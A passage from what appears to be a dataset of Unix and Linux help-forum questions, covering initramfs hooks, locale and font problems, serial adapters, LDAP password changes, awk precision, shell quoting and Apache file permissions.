build hook: [/usr/lib/initcpio/install/base] adding file: /bin/busybox adding symlink: /usr/lib/libc.so.6 -> libc-2.18.so adding file: /usr/lib/libc-2.18.so adding symlink: /lib64/ld-linux-x86-64.so.2 -> ld-2.18.so adding file: /usr/lib/ld-2.18.so adding symlink: /usr/bin/[ -> busybox adding symlink: /usr/bin/[[ -> busybox adding symlink: /usr/bin/ash -> busybox adding symlink: /usr/bin/awk -> busybox adding symlink: /usr/bin/basename -> busybox adding symlink: /usr/bin/cat -> busybox adding symlink: /usr/bin/chgrp -> busybox adding symlink: /usr/bin/chmod -> busybox adding symlink: /usr/bin/chown -> busybox adding symlink: /usr/bin/chroot -> busybox adding symlink: /usr/bin/clear -> busybox adding symlink: /usr/bin/cp -> busybox adding symlink: /usr/bin/cttyhack -> busybox adding symlink: /usr/bin/cut -> busybox adding symlink: /usr/bin/dd -> busybox adding symlink: /usr/bin/df -> busybox adding symlink: /usr/bin/dirname -> busybox adding symlink: /usr/bin/dmesg -> busybox adding symlink: /usr/bin/du -> busybox adding symlink: /usr/bin/echo -> busybox adding symlink: /usr/bin/egrep -> busybox adding symlink: /usr/bin/env -> busybox adding symlink: /usr/bin/expr -> busybox adding symlink: /usr/bin/false -> busybox adding symlink: /usr/bin/free -> busybox adding symlink: /usr/bin/getopt -> busybox adding symlink: /usr/bin/grep -> busybox adding symlink: /usr/bin/halt -> busybox adding symlink: /usr/bin/head -> busybox adding symlink: /usr/bin/hexdump -> busybox adding symlink: /usr/bin/ifconfig -> busybox adding symlink: /usr/bin/init -> busybox adding symlink: /usr/bin/install -> busybox adding symlink: /usr/bin/ip -> busybox adding symlink: /usr/bin/ipaddr -> busybox adding symlink: /usr/bin/iplink -> busybox adding symlink: /usr/bin/iproute -> busybox adding symlink: /usr/bin/iprule -> busybox adding symlink: /usr/bin/iptunnel -> busybox adding symlink: /usr/bin/kbd_mode -> busybox adding symlink: /usr/bin/kill -> busybox adding symlink: /usr/bin/killall -> busybox adding symlink: /usr/bin/less -> busybox adding symlink: /usr/bin/ln -> busybox adding symlink: /usr/bin/loadfont -> busybox adding symlink: /usr/bin/loadkmap -> busybox adding symlink: /usr/bin/losetup -> busybox adding symlink: /usr/bin/ls -> busybox adding symlink: /usr/bin/md5sum -> busybox adding symlink: /usr/bin/mkdir -> busybox adding symlink: /usr/bin/mkfifo -> busybox adding symlink: /usr/bin/mknod -> busybox adding symlink: /usr/bin/mktemp -> busybox adding symlink: /usr/bin/mountpoint -> busybox adding symlink: /usr/bin/mv -> busybox adding symlink: /usr/bin/nc -> busybox adding symlink: /usr/bin/netstat -> busybox adding symlink: /usr/bin/nslookup -> busybox adding symlink: /usr/bin/openvt -> busybox adding symlink: /usr/bin/pgrep -> busybox adding symlink: /usr/bin/pidof -> busybox adding symlink: /usr/bin/ping -> busybox adding symlink: /usr/bin/ping6 -> busybox adding symlink: /usr/bin/poweroff -> busybox adding symlink: /usr/bin/printf -> busybox adding symlink: /usr/bin/ps -> busybox adding symlink: /usr/bin/pwd -> busybox adding symlink: /usr/bin/readlink -> busybox adding symlink: /usr/bin/reboot -> busybox adding symlink: /usr/bin/rm -> busybox adding symlink: /usr/bin/rmdir -> busybox adding symlink: /usr/bin/route -> busybox adding symlink: /usr/bin/sed -> busybox adding symlink: /usr/bin/seq -> busybox adding symlink: /usr/bin/setfont -> busybox adding symlink: /usr/bin/sh -> busybox adding symlink: /usr/bin/sha1sum -> busybox adding symlink: /usr/bin/sha256sum -> busybox adding symlink: /usr/bin/sha512sum -> busybox adding symlink: /usr/bin/sleep -> busybox adding symlink: /usr/bin/sort -> busybox adding symlink: /usr/bin/stat -> busybox adding symlink: /usr/bin/strings -> busybox adding symlink: /usr/bin/sync -> busybox adding symlink: /usr/bin/tac -> busybox adding symlink: /usr/bin/tail -> busybox adding symlink: /usr/bin/telnet -> busybox adding symlink: /usr/bin/test -> busybox adding symlink: /usr/bin/tftp -> busybox adding symlink: /usr/bin/touch -> busybox adding symlink: /usr/bin/true -> busybox adding symlink: /usr/bin/umount -> busybox adding symlink: /usr/bin/uname -> busybox adding symlink: /usr/bin/uniq -> busybox adding symlink: /usr/bin/uptime -> busybox adding symlink: /usr/bin/vi -> busybox adding symlink: /usr/bin/wc -> busybox adding symlink: /usr/bin/wget -> busybox adding symlink: /usr/bin/yes -> busybox adding file: /usr/sbin/kmod adding symlink: /usr/lib/libz.so.1 -> libz.so.1.2.8 adding file: /usr/lib/libz.so.1.2.8 adding symlink: /usr/bin/depmod -> kmod adding symlink: /usr/bin/insmod -> kmod adding symlink: /usr/bin/rmmod -> kmod adding symlink: /usr/bin/lsmod -> kmod adding symlink: /usr/bin/modprobe -> kmod adding symlink: /usr/bin/modinfo -> kmod adding file: /usr/sbin/blkid adding symlink: /usr/lib/libblkid.so.1 -> libblkid.so.1.1.0 adding file: /usr/lib/libblkid.so.1.1.0 adding symlink: /usr/lib/libuuid.so.1 -> libuuid.so.1.3.0 adding file: /usr/lib/libuuid.so.1.3.0 adding file: /usr/sbin/mount adding symlink: /usr/lib/libmount.so.1 -> libmount.so.1.1.0 adding file: /usr/lib/libmount.so.1.1.0 adding file: /usr/sbin/switch_root adding file: /init_functions adding file: /init adding file: /usr/lib/modprobe.d/usb-load-ehci-first.conf -> Running build hook: [/usr/lib/initcpio/install/udev] adding file: /etc/udev/udev.conf adding file: /usr/lib/systemd/systemd-udevd adding symlink: /usr/lib/librt.so.1 -> librt-2.18.so adding file: /usr/lib/librt-2.18.so adding symlink: /usr/lib/libkmod.so.2 -> libkmod.so.2.2.6 adding file: /usr/lib/libkmod.so.2.2.6 adding symlink: /usr/lib/libacl.so.1 -> libacl.so.1.1.0 adding file: /usr/lib/libacl.so.1.1.0 adding symlink: /usr/lib/libpthread.so.0 -> libpthread-2.18.so adding file: /usr/lib/libpthread-2.18.so adding symlink: /usr/lib/libattr.so.1 -> libattr.so.1.1.0 adding file: /usr/lib/libattr.so.1.1.0 adding file: /usr/bin/udevadm adding file: /usr/bin/systemd-tmpfiles adding symlink: /usr/lib/libcap.so.2 -> libcap.so.2.24 adding file: /usr/lib/libcap.so.2.24 adding file: /usr/lib/udev/rules.d/50-udev-default.rules adding file: /usr/lib/udev/rules.d/60-persistent-storage.rules adding file: /usr/lib/udev/rules.d/64-btrfs.rules adding file: /usr/lib/udev/rules.d/80-drivers.rules adding file: /usr/lib/udev/ata_id adding file: /usr/lib/udev/scsi_id adding file: /hooks/udev -> Running build hook: [/usr/lib/initcpio/install/autodetect] libkmod: kmod_config_parse: /etc/modprobe.d/radeon.conf line 2: ignoring bad line starting with 'fglrx' caching 37 modules -> Running build hook: [/usr/lib/initcpio/install/modconf] adding dir: /etc/modprobe.d adding file: /etc/modprobe.d/radeon.conf adding file: /etc/modprobe.d/uvcvideo.conf overwriting file: /usr/lib/modprobe.d/usb-load-ehci-first.conf -> Running build hook: [/usr/lib/initcpio/install/block] adding module: scsi_mod adding module: sd_mod adding module: cdrom adding module: sr_mod adding module: libata adding module: pata_amd adding module: sata_nv adding module: pata_acpi adding module: ata_generic adding module: usb-common adding module: usbcore adding module: ohci_hcd adding module: ehci-hcd adding module: ehci_pci adding module: usb_storage -> Running build hook: [/usr/lib/initcpio/install/filesystems] adding module: mbcache adding module: jbd2 adding module: crc16 adding module: ext4 -> Running build hook: [/usr/lib/initcpio/install/keyboard] adding module: hid adding module: hid_generic adding module: usbhid -> Running build hook: [/usr/lib/initcpio/install/fsck] adding file: /usr/sbin/fsck.ext4 adding symlink: /usr/lib/libext2fs.so.2 -> libext2fs.so.2.4 adding file: /usr/lib/libext2fs.so.2.4 adding symlink: /usr/lib/libcom_err.so.2 -> libcom_err.so.2.1 adding file: /usr/lib/libcom_err.so.2.1 adding symlink: /usr/lib/libe2p.so.2 -> libe2p.so.2.3 adding file: /usr/lib/libe2p.so.2.3 adding symlink: /usr/bin/fsck.ext2 -> fsck.ext4 adding symlink: /usr/bin/fsck.ext3 -> fsck.ext4 adding file: /usr/sbin/fsck adding module: i2c-core adding module: drm adding module: drm_kms_helper adding module: ttm adding module: i2c-algo-bit adding file: /usr/lib/firmware/radeon/R520_cp.bin adding file: /usr/lib/firmware/radeon/RS600_cp.bin adding file: /usr/lib/firmware/radeon/RS690_cp.bin adding file: /usr/lib/firmware/radeon/R420_cp.bin adding file: /usr/lib/firmware/radeon/R300_cp.bin adding file: /usr/lib/firmware/radeon/R200_cp.bin adding file: /usr/lib/firmware/radeon/R100_cp.bin adding file: /usr/lib/firmware/radeon/SUMO2_me.bin adding file: /usr/lib/firmware/radeon/SUMO2_pfp.bin adding file: /usr/lib/firmware/radeon/SUMO_me.bin adding file: /usr/lib/firmware/radeon/SUMO_pfp.bin adding file: /usr/lib/firmware/radeon/SUMO_rlc.bin adding file: /usr/lib/firmware/radeon/PALM_me.bin adding file: /usr/lib/firmware/radeon/PALM_pfp.bin adding file: /usr/lib/firmware/radeon/CYPRESS_rlc.bin adding file: /usr/lib/firmware/radeon/CYPRESS_me.bin adding file: /usr/lib/firmware/radeon/CYPRESS_pfp.bin adding file: /usr/lib/firmware/radeon/JUNIPER_rlc.bin adding file: /usr/lib/firmware/radeon/JUNIPER_me.bin adding file: /usr/lib/firmware/radeon/JUNIPER_pfp.bin adding file: /usr/lib/firmware/radeon/REDWOOD_rlc.bin adding file: /usr/lib/firmware/radeon/REDWOOD_me.bin adding file: /usr/lib/firmware/radeon/REDWOOD_pfp.bin adding file: /usr/lib/firmware/radeon/CEDAR_rlc.bin adding file: /usr/lib/firmware/radeon/CEDAR_me.bin adding file: /usr/lib/firmware/radeon/CEDAR_pfp.bin adding file: /usr/lib/firmware/radeon/R700_rlc.bin adding file: /usr/lib/firmware/radeon/R600_rlc.bin adding file: /usr/lib/firmware/radeon/RV710_me.bin adding file: /usr/lib/firmware/radeon/RV710_pfp.bin adding file: /usr/lib/firmware/radeon/RV730_me.bin adding file: /usr/lib/firmware/radeon/RV730_pfp.bin adding file: /usr/lib/firmware/radeon/RV770_me.bin adding file: /usr/lib/firmware/radeon/RV770_pfp.bin adding file: /usr/lib/firmware/radeon/RS780_me.bin adding file: /usr/lib/firmware/radeon/RS780_pfp.bin adding file: /usr/lib/firmware/radeon/RV670_me.bin adding file: /usr/lib/firmware/radeon/RV670_pfp.bin adding file: /usr/lib/firmware/radeon/RV635_me.bin adding file: /usr/lib/firmware/radeon/RV635_pfp.bin adding file: /usr/lib/firmware/radeon/RV620_me.bin adding file: /usr/lib/firmware/radeon/RV620_pfp.bin adding file: /usr/lib/firmware/radeon/RV630_me.bin adding file: /usr/lib/firmware/radeon/RV630_pfp.bin adding file: /usr/lib/firmware/radeon/RV610_me.bin adding file: /usr/lib/firmware/radeon/RV610_pfp.bin adding file: /usr/lib/firmware/radeon/R600_me.bin adding file: /usr/lib/firmware/radeon/R600_pfp.bin adding file: /usr/lib/firmware/radeon/ARUBA_rlc.bin adding file: /usr/lib/firmware/radeon/ARUBA_me.bin adding file: /usr/lib/firmware/radeon/ARUBA_pfp.bin adding file: /usr/lib/firmware/radeon/CAYMAN_rlc.bin adding file: /usr/lib/firmware/radeon/CAYMAN_mc.bin adding file: /usr/lib/firmware/radeon/CAYMAN_me.bin adding file: /usr/lib/firmware/radeon/CAYMAN_pfp.bin adding file: /usr/lib/firmware/radeon/CAICOS_mc.bin adding file: /usr/lib/firmware/radeon/CAICOS_me.bin adding file: /usr/lib/firmware/radeon/CAICOS_pfp.bin adding file: /usr/lib/firmware/radeon/TURKS_mc.bin adding file: /usr/lib/firmware/radeon/TURKS_me.bin adding file: /usr/lib/firmware/radeon/TURKS_pfp.bin adding file: /usr/lib/firmware/radeon/BTC_rlc.bin adding file: /usr/lib/firmware/radeon/BARTS_mc.bin adding file: /usr/lib/firmware/radeon/BARTS_me.bin adding file: /usr/lib/firmware/radeon/BARTS_pfp.bin adding file: /usr/lib/firmware/radeon/HAINAN_rlc.bin adding file: /usr/lib/firmware/radeon/HAINAN_mc.bin adding file: /usr/lib/firmware/radeon/HAINAN_ce.bin adding file: /usr/lib/firmware/radeon/HAINAN_me.bin adding file: /usr/lib/firmware/radeon/HAINAN_pfp.bin adding file: /usr/lib/firmware/radeon/OLAND_rlc.bin adding file: /usr/lib/firmware/radeon/OLAND_mc.bin adding file: /usr/lib/firmware/radeon/OLAND_ce.bin adding file: /usr/lib/firmware/radeon/OLAND_me.bin adding file: /usr/lib/firmware/radeon/OLAND_pfp.bin adding file: /usr/lib/firmware/radeon/VERDE_rlc.bin adding file: /usr/lib/firmware/radeon/VERDE_mc.bin adding file: /usr/lib/firmware/radeon/VERDE_ce.bin adding file: /usr/lib/firmware/radeon/VERDE_me.bin adding file: /usr/lib/firmware/radeon/VERDE_pfp.bin adding file: /usr/lib/firmware/radeon/PITCAIRN_rlc.bin adding file: /usr/lib/firmware/radeon/PITCAIRN_mc.bin adding file: /usr/lib/firmware/radeon/PITCAIRN_ce.bin adding file: /usr/lib/firmware/radeon/PITCAIRN_me.bin adding file: /usr/lib/firmware/radeon/PITCAIRN_pfp.bin adding file: /usr/lib/firmware/radeon/TAHITI_rlc.bin adding file: /usr/lib/firmware/radeon/TAHITI_mc.bin adding file: /usr/lib/firmware/radeon/TAHITI_ce.bin adding file: /usr/lib/firmware/radeon/TAHITI_me.bin adding file: /usr/lib/firmware/radeon/TAHITI_pfp.bin adding file: /usr/lib/firmware/radeon/TAHITI_uvd.bin adding file: /usr/lib/firmware/radeon/SUMO_uvd.bin adding file: /usr/lib/firmware/radeon/CYPRESS_uvd.bin adding file: /usr/lib/firmware/radeon/RV710_uvd.bin adding module: radeon ==> Generating module dependencies ==> Dry run complete, use -g IMAGE to generate a real image Some hooks start the \"radeon\" module but how do I prevent them to? This is first time I am dealing with hooks. I checked and no files in `/etc/modprobe.d/` nor `/etc/modules-load.d/` start the \"radeon\"..."} {"_id": "149348", "title": "How to display Chinese characters correctly on remote Red-Hat machine?", "text": "I am using Ubuntu14.04 to connect to a remote host. Which its version is: Linux version 2.6.32-431.11.5.el6.yyyzzz.x86_64 (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Thu Jul 3 09:42:34 CST 2014 My upload file on that machine won't display Chinese characters correctly. And I open a file, type randomly Chinese Character with Ubuntu `ibus input method`. And it shows: ~R~V\ufffd~K~B~I~W\u4e2a~I~N~T\ufffd\u996d~T~E I searched online and tried the following 2 methods: 1: examine the locale It shows: LANG=en_US.UTF-8 LC_CTYPE=\"en_US.UTF-8\" LC_NUMERIC=en_US.UTF-8 LC_TIME=en_US.UTF-8 LC_COLLATE=\"en_US.UTF-8\" LC_MONETARY=en_US.UTF-8 LC_MESSAGES=\"en_US.UTF-8\" LC_PAPER=en_US.UTF-8 LC_NAME=en_US.UTF-8 LC_ADDRESS=en_US.UTF-8 LC_TELEPHONE=en_US.UTF-8 LC_MEASUREMENT=en_US.UTF-8 LC_IDENTIFICATION=en_US.UTF-8 LC_ALL= Seems no problem. 2: install Chinese Language support package I did: yum install \"@Chinese Support\" It installed 178M files on that machine. After that, I open another file, and try typing some Chinese with ibus. But the problem remains, how to solve it? * * * **update1** I did some more research after. I find that some characters can be typed out correctly(via Pinyin input method, ibus). like: \u8d77 \u5ea6 \u987f \u5ba2 They are all corresponding to their Pinyin. But there is a automate-generated space after each character( not typed by me). If I try to type \u542f\uff0c\u675c\uff0c\u76fe\uff0c\u523b (they have the same Pinyin as the above 4 Chinese characters). I got: \ufffd~P\ufffd~]~\\ ~[\ufffd ~H\ufffd For my experience, if the code converting is totally messed up. When I type a Pinyin, I shall get some wired characters which look like Chinese but actually were not, and they will never correspond to that Pinyin I typed. This time, the things are little bit different.I can type some characters correctly(with an system-generated space), and others are indecipherable."} {"_id": "105149", "title": "Where is my Cursor?", "text": "My OS is Ubuntu 13.10, I use the following code to remove the KDE desktop installed before: sudo apt-get purge kde* And then use the following code to install GNOME 3.10: sudo add-apt-repository ppa:gnome3-team/gnome3-next && sudo apt-get update sudo apt-get update && sudo apt-get install gnome-shell ubuntu-gnome-desktop sudo add-apt-repository ppa:gnome3-team/gnome3-staging sudo add-apt-repository ppa:gnome3-team/gnome3 sudo apt-get update && sudo apt-get dist-upgrade After all these were done, I restart my computer and can not find my cursor in Unity, while all things are OK in GNOME. I want to find the cursor in Unity, what should I do?"} {"_id": "105148", "title": "Quoting in command substitution", "text": "The command pdftk FileOne.pdf \"File two.pdf\" output Combined.pdf works as expected, merging PDF's One and Two. However, if I put the filenames in a file FileOne.pdf \"File Two.pdf\" and then use pdftk $(< Files.lst) output Combined.pdf I get the error messages Error: Failed to open PDF file: \"File Error: Unable to find file. Error: Failed to open PDF file: Two.pdf\" Obviously, `pdftk` is seeing the quotes, so I don't understand how it can distinguish the two cases (which is why I am posing the question in this forum). For the record, I am using MKS Toolkit Korn shell, invoked from Emacs. I get the same in the Cygwin bash shell."} {"_id": "116842", "title": "Install specific 32 bit package on 64 bit debian squeeze(6.0)", "text": "I have an amd64 installation of Debian 6.0 (Squeeze), where I need to install a 32 bit version of the libpcap0.8. I have done an `apt-get install ia32-libs` which gets me a 32 bit libc and a few other things, but now I need another specific 32 bit package. What do I have to do ? (EDIT: the suggested duplicate is for Debian 7 and Ubuntu, and does not work on Debian 6)"} {"_id": "10917", "title": "Color calibration on Linux Mint", "text": "I'm running Linux Mint 9. I installed Argyll and gnome-color-manager but neither of those have a GUI. I need to configure my monitor colors. Right now the white looks a little yellow etc. and I want to do photo editing in Gimp. How can I get my monitor ICC calibrated?"} {"_id": "107807", "title": "How to configure fonts on a remote X connection (XDMCP vs. ssh)?", "text": "Connecting to a remote Solaris 10 system over X11 I observe inconsistent behavior regarding the used fonts. I am connecting from a Cygwin/X system. When I connect using ssh forwarding like this $ ssh -Y mymachine.example.org fonts work as expected, i.e. the rendering is very nice and programs seem to find all kind of different fonts (e.g. gvim or emacs). When I connect to the same machine via XDMCP (to the stock blue Solaris 10 login manager screen) and login there seems only 1 fixed size font available. An Emacs from OpenCSW even fails to execute because it can't find the fonts it needs. It prints that it can't find a font using following specification: -dt-interface user-medium-r-normal-m I establish the XDMCP connection like this: $ XWin -query mymachine.example.org -from mywindowsclient.example.org My objective is no to get also proper fonts for the XDMCP use case. How can I investigate this issue? Can I duplicate some configuration which is implicitly used with `ssh -Y` for the XDMCP case? How is the font-thing usually setup during ssh-X11-forwarding?"} {"_id": "10912", "title": "Build Operating System version is different from Kernel version. Can this cause trouble?", "text": "I have recently messed up my Debian Squeeze installation. (click for more). I fixed audio but my battery state indicator and touchpad isn't working. In my attempt to fix this I observed that Kernel version of my system is different from the build os version. This is the out put of `Xorg :1 -configure` root@debian-box:/boot# Xorg :1 -configure X.Org X Server 1.7.7 Release Date: 2010-05-04 X Protocol Version 11, Revision 0 Build Operating System: Linux 2.6.32.29-dsa-ia32 i686 Debian Current Operating System: Linux debian-box 2.6.32-5-686 #1 SMP Tue Mar 8 21:36:00 UTC 2011 i686 Kernel command line: BOOT_IMAGE=/boot/vmlinuz-2.6.32-5-686 root=UUID=df9afc0c-27af-42b2-95d7-a7944f3bac70 ro quiet Build Date: 19 February 2011 02:37:36PM xorg-server 2:1.7.7-13 (Cyril Brulebois ) ..."} {"_id": "10913", "title": "Simple, user-friendly GUI file finder?", "text": "* simple, user-friendly = as Google search web page, one editbox, one button, nothing to explain, everybody grasps an idea in 1ms * fast = finding files and directories by filenames, not by content (!) * cute = it should be usable by weekend-users, so icons for files found, won't hurt The closest project I found is Beagle (*), but it is dead now (it was canceled in 2009). It is said, Tracker is replacement of Beagle, but when I tried the GUI frontend... in short, disaster. (*) but I am not sure if disabling in-file searching is possible. I tried also Recoll, it is full-search program, the GUI has too many widgets, far for simplicity. I can write such program on my own (Ligthppd+php script, that's all) but before I start, maybe you know about such tool ready to use? Thank you in advance."} {"_id": "10910", "title": "Install byobu (screen-profiles) on FreeBSD", "text": "I've got mostly Ubuntu servers, but have a need for 2 FreeBSD boxes. On all of the Ubuntu systems I've gotten extremely used to having Byobu on top of GNU Screen. I've been trying to figure out how to get it installed on the FreeBSD boxes from the source tarball, but run into problems at every turn. I've got everything listed in the README installed (screen, python-newt, and gsed). But I'm still not able to run it properly. It will multiplex the screen just fine, but the bottom line that displays system status and context information just says `Invalid Message (magic 0x00000000000)` and byobu-config says that the snack module is not installed, which I can't seem to find. Anyone have any ideas or pointers?"} {"_id": "116845", "title": "rs232 to usb not working", "text": "**I also asked this question on AskUbuntu but there nobody comments on it** I have a konig rs232 serial to usb adapter (no FTDI chip), but when I try to connect to a cisco switch/router (via Putty, screen, minicom....), sometimes it just shows nothing (But it is connected because when i remove the USB it says disconnected, and sometimes it show garbage. But it also can just work ok, for about 5-10 seconds, after that it just freezes. I checked the adapter on an other linux pc (slackware), and here it just works flawless. I'm running ubuntu 13.10 (3-11-0-15-generic , Lenovo laptop) lsusb Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 025: ID 0cf3:3004 Atheros Communications, Inc. Bus 001 Device 032: ID 067b:2303 Prolific Technology, Inc. PL2303 Serial Port Bus 001 Device 003: ID 5986:0295 Acer, Inc Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 003 Device 002: ID 058f:6366 Alcor Micro Corp. Multi Flash Reader Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub dmesg | grep 2303 [22933.099512] pl2303 1-1.2:1.0: device disconnected [22934.926969] usb 1-1.2: New USB device found, idVendor=067b, idProduct=2303 [22934.927665] pl2303 1-1.2:1.0: pl2303 converter detected [22934.929688] usb 1-1.2: pl2303 converter now attached to ttyUSB0 **edit** I borrowed another converter from a friend (this one does have a FTDI chip), but it still doesn't work. I forgot to mention that i tried it on USB 2.0 as well as 3.0 **BUMP**"} {"_id": "116848", "title": "CentOS 6 with Linux-Libre kernel?", "text": "I understand that CentOS ships with nonfree blobs in it's kernel. It seems that a \"nonfree blob\" free kernel exists, a.k.a. Linux-Libre. Is it possible to somehow get CentOS to use Linux-Libre kernel instead of it's default nonfree blob kernel? I am interested in CentOS specifically because of its release cycle, 10 years plus support."} {"_id": "130955", "title": "How to troubleshoot high load, when there are no obvious processes", "text": "I'm running Ubuntu 13.10 on a laptop. Recently, after waking from sleep, I noticed the computer was quite warm, checked top and discovered 1.00 load average. I shutdown Chrome, various daemons, no effect. I rebooted and fired up a terminal and checked top again, and watched the load quickly spike to 1.75, and slowly settle down back to around 1.0 - 1.2: top - 09:49:17 up 36 min, 2 users, load average: 1.01, 1.10, 1.01 Tasks: 267 total, 1 running, 266 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.9 us, 0.4 sy, 0.0 ni, 98.6 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 8069288 total, 2885572 used, 5183716 free, 123652 buffers KiB Swap: 7711332 total, 0 used, 7711332 free, 1661816 cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1420 root 20 0 589m 144m 131m S 3.4 1.8 0:36.49 Xorg 6233 user1 20 0 986m 83m 31m S 2.7 1.1 0:19.89 chrome 3708 user1 20 0 749m 19m 12m S 1.8 0.3 0:06.58 gnome-terminal 3526 user1 20 0 1350m 67m 28m S 1.4 0.9 0:26.19 compiz 4014 user1 20 0 1022m 126m 52m S 1.1 1.6 0:44.34 chrome I checked /proc/loadavg manually, same story: sudo cat /proc/loadavg 1.20 1.16 0.99 3/614 6254 ps auxwwwf doesn't show any process consuming more than 6.0% of CPU. iostat: avg-cpu: %user %nice %system %iowait %steal %idle 0.63 0.00 0.13 0.00 0.00 99.25 Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util sda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 scd0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 free -m: total used free shared buffers cached Mem: 7880 2841 5039 0 120 1651 -/+ buffers/cache: 1068 6811 Swap: 7530 0 7530 Clearly some process is saturating CPU, but it doesn't seem to show up on the process list. Some sort of hidden Linux filesystem checker? Rootkit? Any ideas how to find the process in question?"} {"_id": "15702", "title": "Is Open LDAP meant to work with the passwd command for Linux?", "text": "I've implemented an Open LDAP server in OpenSuSE 11.2 via the YaST GUI. I'm having success logging in from the local machine and other machines via LDAP. I am able to change LDAP user passwords via `passwd` on the command line. However, I cannot do anything else through the command line, such as `passwd -e username`. I get the following error > Authentication failure. LDAP information update failed: Operations error > Error while changing password expiry information. The same goes for any other arguments regarding password expiry or for locking accounts via `-l`. Is this simply a limitation of the LDAP server, or do I have an incorrect configuration?"} {"_id": "10918", "title": "Looking for a Linux distro with specific window related features", "text": "I have been looking for the past few days, I need these features: * Docking a window on any side of a desktop expands it to fit half/a quarter of the space * Resizing and moving windows must be very easy * Search tool that searches folders _and_ content of files in a matter of seconds. * Multi-monitor support * Middle clicking has to work, for example in a browser for faster scrolling I tried the live cd of Gnome 3 today, but apparently my radeon 4850 is not supported. Resizing windows from the sides is very bad in there. I have to aim for several seconds. The same is true for Ubuntu 10.10, (which I just tried via Wubi) They both don't support middle clicking either. Other than that, Ubuntu was actually quite nice, pretty comparable to Windows 7. Any suggestions? Did anyone try Ubuntu 11, does it have improvements in these areas? Unfortunately reviewers /youtube videos don't go into usability issues."} {"_id": "134658", "title": "Linux - preventing an application from failing due to lack of disk space", "text": "Due to an unpredicted scenario I am currently in need of finding a solution to the fact that an application (which I do not wish to kill) is slowly hogging the entire disk space. To give more context * I have an application in Python that uses multiprocessing.Pool to start 5 threads. Each thread writes some data to its own file. * The program is running on Linux and I do not have root access to the machine. * The program is CPU intensive and has been running for months. It still has a few days to write all the data. * 40% of the data in the files is redundant and can be removed after a quick test. * The system on which the program is running only has 30GB of remaining disk space and at the current rate of work it will surely be hogged before the program finishes. Given the above points I see the following solutions with respective problems * Given that the process number i is writing to file_i, is it safe to move file_i to an external location? Will the OS simply create a new instance of file_i and write to it? I assume moving the file would remove it and the process would end up writing to a \"dead\" file? * Is there a \"command line\" way to stop 4 of the 5 spawned workers and wait until one of them finishes and then resume their work? (I am sure one single worker thread would avoid hogging the disk) * Suppose I use CTRL+Z to freeze the main process. Will this stop all the other processes spawned by multiprocessing.Pool? If yes, can I then safely edit the files as to remove the redundant lines? Given the three options that I see, would any of them work in this context? If not, is there a better way to handle this problem? I would really like to avoid the scenario in which the program crashes just few days before its finish."} {"_id": "128062", "title": "Get a faster response for a ping", "text": "I noticed that the answer to my ping is slower in one debian machine that another. For the first one when i ping to 8.8.8.8: 64 bytes from 8.8.8.8: icmp_req=1 ttl=47 time=29.6 ms For the second one: 64 bytes from 8.8.8.8: icmp_req=1 ttl=50 time=6.77 ms It's 4 times faster. So how can i make this answer faster ? Which network parameters should i modify to get better response ?"} {"_id": "59623", "title": "Custom keyboard layout is reset to default after standby or reboot", "text": "I designed a keyboard layout for myself, after I run `xmodmap` it works OK, but after standby or reboot, the layout turn back to qwerty. How can I set it as default? My OS is Debian Wheezy with XFCE4."} {"_id": "57006", "title": "awk high precision arithmetic", "text": "I am looking for a way to tell awk to do high-precision arithmetic in a substitution operation. This involves, reading a field from a file and substituting it with a 1% increment on that value. However, I am losing precision there. Here is a simplified reproduction of the problem: $ echo 0.4970436865354813 | awk '{gsub($1, $1*1.1)}; {print}' 0.546748 Here, I have a 16 digit after decimal precision but awk gives only six. Using printf, I am getting the same result: $ echo 0.4970436865354813 | awk '{gsub($1, $1*1.1)}; {printf(\"%.16G\\n\", $1)}' 0.546748 Any suggestions on to how to get the desired precision?"} {"_id": "57001", "title": "bash scripting - Any function to escape character?", "text": "I am trying to automate some of my stuff and facing a issue, the problem boils down to escaping the value that is being passed as a argument to the script. ### myScript.sh #!/bin/bash loadPatch -name $1 where `$1` is the first argument and can have value like 'p12.9.5-bug34' Running it as myScript p12.9.5-bug34 produces no result. I checked with `echo $?` the output was successful, but the required operation didn't happen. I replaced `$1` with this actual value to test in the script and it worked as expected. There is no way for me to put a print statement in `loadPatch` to verify what arguments it has received. So, I envisage there is some escaping problem here and hence need to know, is there any function/utility which I could use to escape the argument before using? Please let me know if you see any other error with this?"} {"_id": "57000", "title": "open a already running process", "text": "I have 64-bit RHEL 2.6.18-238.el5 running. I access the machine through vpn. I started an application via terminal and while application was running there was disconnection in vpn which closed my terminal. Upon reconnecting to vpn when I opened the terminal I could see that my application is still running ,checked using `ps -ef` command. Now how can I continue using my application in the terminal. Is there any way to access that running application in the terminal? Please help.Thanks"} {"_id": "57003", "title": "How do I stop Gthumb from opening when I plug in my camera?", "text": "I'm using Linux Mint 13. Whenever I plug my camera into the USB port, Gthumb opens _and_ a directory window opens. I can't find config files, autoplay options or an option in the preferences of Gthumb to change this. How can I stop Gthumb opening when I plug in my camera? O_O"} {"_id": "93868", "title": "Using setfacl to create recursive permissions for Apache with rsync", "text": "I have a Dokuwiki installation locally, which I regularly sync to my server with rsync. I'm also going to give a friend of mine an ssh account, and host his public Dokuwiki installation. However, I'm having a problem with access permissions - even though the mirror is read-only, Dokuwiki still needs write- permissions to the data directory for cache etc. The Apache server runs as user www-data, and every time I do a rsync, it resets permissions. Based on some other answers on this site, I tried using setfacl to set default permissions, but it doesn't seem to work - getfacl indicates that the permissions exist, but Dokuwiki won't run, and when I try to write a file as user www-data, it also doesn't work. What am I missing? wiki/data$ sudo su www-data $ pwd /var/www/wiki/data $ whoami www-data $ touch hi touch: cannot touch `hi': Permission denied $ 